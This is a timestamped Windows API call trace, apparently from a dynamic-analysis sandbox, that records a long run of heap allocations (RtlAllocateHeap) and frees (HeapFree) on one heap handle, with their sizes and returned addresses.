[0248.790] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d55d8
[0248.790] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6cf890
[0248.790] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6fe418
[0248.790] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d5538
[0248.790] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d5f40
[0248.790] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6d1950
[0248.790] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6d5c20
[0248.790] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6d56f0
[0248.790] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d5d40
[0248.790] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6d5600
[0248.790] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d5cc0
[0248.790] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d5628
[0248.790] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6cf758
[0248.790] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6fe488
[0248.790] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d5560
[0248.790] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6fe4c0
[0248.790] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d5588
[0248.790] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d5ec0
[0248.790] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6d18f0
[0248.790] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6d5c00
[0248.791] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6d55b0
[0248.791] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d5bc0
[0248.791] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6d5498
[0248.791] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d5da0
[0248.791] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d5650
[0248.791] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6cf800
[0248.791] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6fe2c8
[0248.791] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d5718
[0248.791] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d5d00
[0248.791] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6d1920
[0248.791] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6d5e00
[0248.791] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6d5678
[0248.791] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d5c40
[0248.791] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6d54e8
[0248.791] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d5e20
[0248.791] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d5510
[0248.791] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6cf620
[0248.791] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6fe1e8
[0248.791] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d56a0
[0248.791] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d5980
[0248.791] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6db718
[0248.791] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6d57a0
[0248.791] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6d56c8
[0248.791] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d5a00
[0248.791] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6dc3c0
[0248.791] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d59c0
[0248.792] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6dd160 | out: hHeap=0x6a0000) returned 1
[0248.792] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e7170 | out: hHeap=0x6a0000) returned 1
[0248.792] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e5be8 | out: hHeap=0x6a0000) returned 1
[0248.792] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d0290 | out: hHeap=0x6a0000) returned 1
[0248.792] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e5c08 | out: hHeap=0x6a0000) returned 1
[0248.792] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e5c28 | out: hHeap=0x6a0000) returned 1
[0248.792] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6edfc0 | out: hHeap=0x6a0000) returned 1
[0248.792] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e5e08 | out: hHeap=0x6a0000) returned 1
[0248.792] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6edd18 | out: hHeap=0x6a0000) returned 1
[0248.792] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d0dd0 | out: hHeap=0x6a0000) returned 1
[0248.792] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ede30 | out: hHeap=0x6a0000) returned 1
[0248.793] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e7110 | out: hHeap=0x6a0000) returned 1
[0248.793] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ee128 | out: hHeap=0x6a0000) returned 1
[0248.793] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6f4848 | out: hHeap=0x6a0000) returned 1
[0248.793] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e6008 | out: hHeap=0x6a0000) returned 1
[0248.793] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e6128 | out: hHeap=0x6a0000) returned 1
[0248.793] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e6028 | out: hHeap=0x6a0000) returned 1
[0248.793] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ee0b0 | out: hHeap=0x6a0000) returned 1
[0248.793] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e5f68 | out: hHeap=0x6a0000) returned 1
[0248.793] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6edf70 | out: hHeap=0x6a0000) returned 1
[0248.793] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d0c20 | out: hHeap=0x6a0000) returned 1
[0248.793] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6edd40 | out: hHeap=0x6a0000) returned 1
[0248.793] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e6ff0 | out: hHeap=0x6a0000) returned 1
[0248.794] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ee178 | out: hHeap=0x6a0000) returned 1
[0248.794] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6f4960 | out: hHeap=0x6a0000) returned 1
[0248.794] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e5e28 | out: hHeap=0x6a0000) returned 1
[0248.794] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e6148 | out: hHeap=0x6a0000) returned 1
[0248.794] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e5e68 | out: hHeap=0x6a0000) returned 1
[0248.794] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6edf98 | out: hHeap=0x6a0000) returned 1
[0248.794] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e5ea8 | out: hHeap=0x6a0000) returned 1
[0248.794] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ede08 | out: hHeap=0x6a0000) returned 1
[0248.794] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d0b00 | out: hHeap=0x6a0000) returned 1
[0248.794] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ee0d8 | out: hHeap=0x6a0000) returned 1
[0248.794] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e7020 | out: hHeap=0x6a0000) returned 1
[0248.794] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6edd68 | out: hHeap=0x6a0000) returned 1
[0248.795] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6f4768 | out: hHeap=0x6a0000) returned 1
[0248.795] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e6188 | out: hHeap=0x6a0000) returned 1
[0248.795] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e6068 | out: hHeap=0x6a0000) returned 1
[0248.795] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e6088 | out: hHeap=0x6a0000) returned 1
[0248.795] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6edea8 | out: hHeap=0x6a0000) returned 1
[0248.795] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e5fc8 | out: hHeap=0x6a0000) returned 1
[0248.795] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ee088 | out: hHeap=0x6a0000) returned 1
[0248.795] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d0c38 | out: hHeap=0x6a0000) returned 1
[0248.795] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ede58 | out: hHeap=0x6a0000) returned 1
[0248.795] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e7050 | out: hHeap=0x6a0000) returned 1
[0248.795] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ee100 | out: hHeap=0x6a0000) returned 1
[0248.796] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6f47a0 | out: hHeap=0x6a0000) returned 1
[0248.796] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e5f48 | out: hHeap=0x6a0000) returned 1
[0248.796] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e5f88 | out: hHeap=0x6a0000) returned 1
[0248.796] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e5e48 | out: hHeap=0x6a0000) returned 1
[0248.796] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6eded0 | out: hHeap=0x6a0000) returned 1
[0248.796] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e5fa8 | out: hHeap=0x6a0000) returned 1
[0248.796] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6edf20 | out: hHeap=0x6a0000) returned 1
[0248.796] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d0bc0 | out: hHeap=0x6a0000) returned 1
[0248.796] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ee060 | out: hHeap=0x6a0000) returned 1
[0248.796] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e7080 | out: hHeap=0x6a0000) returned 1
[0248.796] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ee150 | out: hHeap=0x6a0000) returned 1
[0248.796] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6f4b20 | out: hHeap=0x6a0000) returned 1
[0248.796] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e5e88 | out: hHeap=0x6a0000) returned 1
[0248.797] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e5ec8 | out: hHeap=0x6a0000) returned 1
[0248.797] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e5fe8 | out: hHeap=0x6a0000) returned 1
[0248.797] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ee1a0 | out: hHeap=0x6a0000) returned 1
[0248.797] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e6168 | out: hHeap=0x6a0000) returned 1
[0248.797] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6edfe8 | out: hHeap=0x6a0000) returned 1
[0248.797] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d0ba8 | out: hHeap=0x6a0000) returned 1
[0248.797] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6eddb8 | out: hHeap=0x6a0000) returned 1
[0248.797] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d1830 | out: hHeap=0x6a0000) returned 1
[0248.797] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6edcf0 | out: hHeap=0x6a0000) returned 1
[0248.797] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6f4810 | out: hHeap=0x6a0000) returned 1
[0248.797] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e5f28 | out: hHeap=0x6a0000) returned 1
[0248.797] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e60c8 | out: hHeap=0x6a0000) returned 1
[0248.797] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e60e8 | out: hHeap=0x6a0000) returned 1
[0248.797] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6c1368 | out: hHeap=0x6a0000) returned 1
[0248.797] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e60a8 | out: hHeap=0x6a0000) returned 1
[0248.797] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6edef8 | out: hHeap=0x6a0000) returned 1
[0248.798] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d0b18 | out: hHeap=0x6a0000) returned 1
[0248.798] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ee010 | out: hHeap=0x6a0000) returned 1
[0248.798] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d13e0 | out: hHeap=0x6a0000) returned 1
[0248.798] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6edd90 | out: hHeap=0x6a0000) returned 1
[0248.798] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6f4b58 | out: hHeap=0x6a0000) returned 1
[0248.798] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e6108 | out: hHeap=0x6a0000) returned 1
[0248.798] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e61a8 | out: hHeap=0x6a0000) returned 1
[0248.798] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e5ee8 | out: hHeap=0x6a0000) returned 1
[0248.798] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6c15c0 | out: hHeap=0x6a0000) returned 1
[0248.798] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e5f08 | out: hHeap=0x6a0000) returned 1
[0248.798] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6c1570 | out: hHeap=0x6a0000) returned 1
[0248.798] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d0c50 | out: hHeap=0x6a0000) returned 1
[0248.799] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6c1278 | out: hHeap=0x6a0000) returned 1
[0248.799] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d1350 | out: hHeap=0x6a0000) returned 1
[0248.799] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6c1408 | out: hHeap=0x6a0000) returned 1
[0248.799] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6f4a78 | out: hHeap=0x6a0000) returned 1
[0248.799] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6c2670 | out: hHeap=0x6a0000) returned 1
[0248.799] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6c28f0 | out: hHeap=0x6a0000) returned 1
[0248.799] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6c26f0 | out: hHeap=0x6a0000) returned 1
[0248.799] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf140 | out: hHeap=0x6a0000) returned 1
[0248.799] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6c2730 | out: hHeap=0x6a0000) returned 1
[0248.799] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf258 | out: hHeap=0x6a0000) returned 1
[0248.799] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d0b30 | out: hHeap=0x6a0000) returned 1
[0248.799] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6c12a0 | out: hHeap=0x6a0000) returned 1
[0248.800] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d1800 | out: hHeap=0x6a0000) returned 1
[0248.800] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6c15e8 | out: hHeap=0x6a0000) returned 1
[0248.800] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6f4a40 | out: hHeap=0x6a0000) returned 1
[0248.800] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d1e38 | out: hHeap=0x6a0000) returned 1
[0248.800] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d1e18 | out: hHeap=0x6a0000) returned 1
[0248.800] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d1b58 | out: hHeap=0x6a0000) returned 1
[0248.800] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ceec0 | out: hHeap=0x6a0000) returned 1
[0248.800] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d1b78 | out: hHeap=0x6a0000) returned 1
[0248.800] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf0a0 | out: hHeap=0x6a0000) returned 1
[0248.800] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d0c68 | out: hHeap=0x6a0000) returned 1
[0248.800] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cef10 | out: hHeap=0x6a0000) returned 1
[0248.800] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d17a0 | out: hHeap=0x6a0000) returned 1
[0248.801] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf168 | out: hHeap=0x6a0000) returned 1
[0248.801] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6f45e0 | out: hHeap=0x6a0000) returned 1
[0248.801] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d1c98 | out: hHeap=0x6a0000) returned 1
[0248.801] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d14d0 | out: hHeap=0x6a0000) returned 1
[0248.801] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cefb0 | out: hHeap=0x6a0000) returned 1
[0248.801] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6f4880 | out: hHeap=0x6a0000) returned 1
[0248.801] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d1b98 | out: hHeap=0x6a0000) returned 1
[0248.801] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d1dd8 | out: hHeap=0x6a0000) returned 1
[0248.801] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d1d98 | out: hHeap=0x6a0000) returned 1
[0248.801] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf0c8 | out: hHeap=0x6a0000) returned 1
[0248.801] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d1db8 | out: hHeap=0x6a0000) returned 1
[0248.801] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cedd0 | out: hHeap=0x6a0000) returned 1
[0248.801] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d0ce0 | out: hHeap=0x6a0000) returned 1
[0248.802] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf000 | out: hHeap=0x6a0000) returned 1
[0248.802] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf050 | out: hHeap=0x6a0000) returned 1
[0248.802] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6f4b90 | out: hHeap=0x6a0000) returned 1
[0248.802] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d17d0 | out: hHeap=0x6a0000) returned 1
[0248.802] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf118 | out: hHeap=0x6a0000) returned 1
[0248.802] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6f4688 | out: hHeap=0x6a0000) returned 1
[0248.803] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d1e98 | out: hHeap=0x6a0000) returned 1
[0248.803] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d1af8 | out: hHeap=0x6a0000) returned 1
[0248.803] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d1bb8 | out: hHeap=0x6a0000) returned 1
[0248.803] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf1e0 | out: hHeap=0x6a0000) returned 1
[0248.803] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d1bd8 | out: hHeap=0x6a0000) returned 1
[0248.803] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf078 | out: hHeap=0x6a0000) returned 1
[0248.803] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d0d10 | out: hHeap=0x6a0000) returned 1
[0248.803] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cee70 | out: hHeap=0x6a0000) returned 1
[0248.803] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf028 | out: hHeap=0x6a0000) returned 1
[0248.803] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6f4c70 | out: hHeap=0x6a0000) returned 1
[0248.804] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d16e0 | out: hHeap=0x6a0000) returned 1
[0248.806] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf0f0 | out: hHeap=0x6a0000) returned 1
[0248.806] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6f4ab0 | out: hHeap=0x6a0000) returned 1
[0248.806] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d1bf8 | out: hHeap=0x6a0000) returned 1
[0248.806] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d1cb8 | out: hHeap=0x6a0000) returned 1
[0248.806] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d1d38 | out: hHeap=0x6a0000) returned 1
[0248.806] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf2a8 | out: hHeap=0x6a0000) returned 1
[0248.806] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d1eb8 | out: hHeap=0x6a0000) returned 1
[0248.806] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cee98 | out: hHeap=0x6a0000) returned 1
[0248.806] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d0d28 | out: hHeap=0x6a0000) returned 1
[0248.806] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cef88 | out: hHeap=0x6a0000) returned 1
[0248.806] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d1710 | out: hHeap=0x6a0000) returned 1
[0248.806] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf208 | out: hHeap=0x6a0000) returned 1
[0248.807] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6f4618 | out: hHeap=0x6a0000) returned 1
[0248.807] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d1c38 | out: hHeap=0x6a0000) returned 1
[0248.807] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d1e58 | out: hHeap=0x6a0000) returned 1
[0248.807] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d1b38 | out: hHeap=0x6a0000) returned 1
[0248.807] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf230 | out: hHeap=0x6a0000) returned 1
[0248.807] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d1d18 | out: hHeap=0x6a0000) returned 1
[0248.807] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf1b8 | out: hHeap=0x6a0000) returned 1
[0248.807] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6c0d00 | out: hHeap=0x6a0000) returned 1
[0248.807] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf190 | out: hHeap=0x6a0000) returned 1
[0248.807] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d12f0 | out: hHeap=0x6a0000) returned 1
[0248.807] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ceee8 | out: hHeap=0x6a0000) returned 1
[0248.807] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6f46c0 | out: hHeap=0x6a0000) returned 1
[0248.807] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d1b18 | out: hHeap=0x6a0000) returned 1
[0248.807] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d1c58 | out: hHeap=0x6a0000) returned 1
[0248.807] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d1df8 | out: hHeap=0x6a0000) returned 1
[0248.807] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cee20 | out: hHeap=0x6a0000) returned 1
[0248.808] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d1d58 | out: hHeap=0x6a0000) returned 1
[0248.808] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf280 | out: hHeap=0x6a0000) returned 1
[0248.808] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6c0c88 | out: hHeap=0x6a0000) returned 1
[0248.808] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cef60 | out: hHeap=0x6a0000) returned 1
[0248.808] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d1530 | out: hHeap=0x6a0000) returned 1
[0248.808] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cedf8 | out: hHeap=0x6a0000) returned 1
[0248.808] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6f46f8 | out: hHeap=0x6a0000) returned 1
[0248.808] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d1c18 | out: hHeap=0x6a0000) returned 1
[0248.808] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d1e78 | out: hHeap=0x6a0000) returned 1
[0248.808] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d1cf8 | out: hHeap=0x6a0000) returned 1
[0248.808] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cf3e8 | out: hHeap=0x6a0000) returned 1
